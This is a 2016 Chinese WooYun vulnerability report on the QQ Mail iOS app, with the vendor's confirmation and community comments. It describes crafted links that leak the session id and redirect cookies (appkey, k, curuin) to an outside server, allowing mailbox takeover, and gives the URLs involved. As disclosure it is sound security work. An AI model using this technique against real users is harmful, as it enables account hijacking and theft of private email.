漏洞概要

缺陷编号: 2016-202784

漏洞标题: 点开我的链接就上了你的QQ mail(非xss)

相关厂商: 腾讯

漏洞作者: he1renyagao

提交时间: 2016-04-27 22:52

公开时间: 2016-06-12 10:40

漏洞类型: 敏感信息泄露

危害等级: 低

自评Rank: 5

漏洞状态: 厂商已经确认

漏洞来源: [email protected]

Tags标签: 无


漏洞详情

披露状态:

2016-04-27: 细节已通知厂商并且等待厂商处理中
2016-04-28: 厂商已经确认,细节仅向厂商公开
2016-05-08: 细节向核心白帽子及相关领域专家公开
2016-05-18: 细节向普通白帽子公开
2016-05-28: 细节向实习白帽子公开
2016-06-12: 细节向公众公开

简要描述:

点开链接,我就上了你的QQ mail,获取相关权限, 仅限 app,非XSS。

详细说明:

QQ 邮箱客户端版 对于权限控制需要几个参数 (IOS 测试,安卓没环境)

1、sid

2、appkey

3、k

4、curuin



拥有这四个参数即可通过客户端版的api 对邮箱进行收发操作,读取联系人等。



这个漏洞比较鸡肋需要分为两步



一、获取sid



只要构造 超级链接地址 http://www.javarasp.com/cgi-bin/safejmp?action=check_link& 放在内容,在客户端访问该地址的时候,会自动加上sid 去请求,这样一来 ,可在 www.javarasp.com 这个服务器的日志上得到sid值 。



二、获取appkey、k、curuin



app 客户端对于超级链接地址会自动加上qmail的一个跳转, 如 http://url.qmail.com/cgi-bin/safejmp?action=check_link&url=http://www.javarasp.com&, 次链接请求,属于mail的域内,会带上可信的cookie,有appkey、k、curuin。 当此链接请求响应302跳转,转到www.javarasp.com 时,cookie 并没有消失,而是带上cookie 请求了 www.javarasp.com 这个地址。





结合两个链接信息泄漏,可获取qq mail app 的相关权限。

漏洞证明:

app 请求抓包截图





11111.png





22222.png







3333.png



修复方案:

跳转的时候控制cookie

版权声明:转载请注明来源 乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2016-04-28 10:30

厂商回复:

非常感谢您的报告,此问题已着手处理,由于有一定限制故评级为低。感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2016-04-27 22:59 | 集与成 ( 路人 | Rank:6 漏洞数:2 | 大隐隐于市)
    0

    一大波评论已来袭。。。

    1# 回复此人
  2. 2016-04-27 23:02 | 随风的风 ( 普通白帽子 | Rank:259 漏洞数:96 | 微信公众号:233sec 不定期分享各种漏洞思...)
    0

    我靠。。。666 特权域?

    2# 回复此人
  3. 2016-04-27 23:03 | autO_pw ( 实习白帽子 | Rank:81 漏洞数:25 | o_O``)
    0

    前排围观

    3# 回复此人
  4. 2016-04-27 23:45 | Code Life ( 普通白帽子 | Rank:202 漏洞数:45 | Code Life,Join It!)
    0

    大晚上还在写文章 佩服!

    4# 回复此人
  5. 2016-04-27 23:46 | Code Life ( 普通白帽子 | Rank:202 漏洞数:45 | Code Life,Join It!)
    0

    目测5rk

    5# 回复此人
  6. 2016-04-28 00:35 | zone ( 普通白帽子 | Rank:111 漏洞数:21 | as as- as you wish)
    0

    mark~关注大牛

    6# 回复此人
  7. 2016-04-28 01:36 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:208 | px1624)
    0

    我猜是flash

    7# 回复此人
  8. 2016-04-28 01:54 | 漂流瓶 ( 路人 | Rank:7 漏洞数:4 | 2B)
    0

    我猜TX早就知道

    8# 回复此人
  9. 2016-04-28 08:46 | 光头强吃翔 ( 路人 | Rank:2 漏洞数:1 | 一个新手,欢迎各位大牛指点!)
    0

    目测XSS

    9# 回复此人
  10. 2016-04-28 08:47 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)
    1

    这不是呆子爱干的事么

    10# 回复此人
  11. 2016-04-28 08:51 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)
    0

    一撸定乾坤

    11# 回复此人
  12. 2016-04-28 10:51 | 西普学院(乌云厂商)
    0

    666

    12# 回复此人
  13. 2016-04-28 11:46 | 0h1in9e ( 实习白帽子 | Rank:68 漏洞数:23 | 林歌 | 峨眉山下修炼中的<网络安全></web开...)
    0

    99999

    13# 回复此人
  14. 2016-04-28 13:18 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)
    0

    我点了,然后呢

    14# 回复此人
  15. 2016-04-28 14:11 | Raven ( 路人 | Rank:8 漏洞数:3 | 转让一张白帽场门票= =)
    0

    @西普学院 传说哥吗

    15# 回复此人
  16. 2016-06-16 14:16 | 西普学院(乌云厂商)
    0

    @Raven 你猜猜看

    16# 回复此人